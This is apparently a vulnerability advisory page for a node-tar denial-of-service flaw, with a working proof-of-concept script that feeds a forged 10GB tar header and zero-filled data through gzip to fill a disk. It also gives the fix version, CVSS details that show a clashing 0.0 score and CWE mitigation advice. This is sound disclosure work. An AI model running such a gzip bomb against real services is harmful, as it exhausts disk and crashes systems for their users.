Skip to content

GHSA-23hp-3jrh-7fpw CVE-2026-59873

node-tar: Decompression/parse DoS via unlimited input

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.58%
Chance of exploitation in the next 30 days. Higher than 47.81% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
7.5.19
Upgrade tar to this version or later

Description

Summary

A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.

Details

The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.

Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.

PoC

The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.

  1. Create the exploit script:
const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();
  1. Run the PoC:
node poc.js

Observation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.

Impact

This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.

Affected versions

npm

PackageVulnerableFixed in
tar
< 7.5.19
7.5.19

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

tar npm → 7.5.19

npm
npm install tar@7.5.19
yarn
yarn add tar@7.5.19
pnpm
pnpm add tar@7.5.19

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
High

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-r292-9mhp-454m
node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar with member selection
High Also affects tar
GHSA-gvwx-54wh-qm9j
node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records
Medium Also affects tar
GHSA-8x88-c5mf-7j5w
node-tar: Negative tar entry size causes infinite loop in archive replace
High Also affects tar
GHSA-w8wr-v893-vjvp
node-tar: Process crash via PAX numeric path type confusion
High Also affects tar
GHSA-vmf3-w455-68vh
node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)
Medium Also affects tar
GHSA-9ppj-qmqm-q256
node-tar Symlink Path Traversal via Drive-Relative Linkpath
Medium Also affects tar
GHSA-qffp-2rhf-9h96
tar has Hardlink Path Traversal via Drive-Relative Linkpath
Medium Also affects tar
GHSA-83g3-92jg-28cx
Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction
High Also affects tar
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor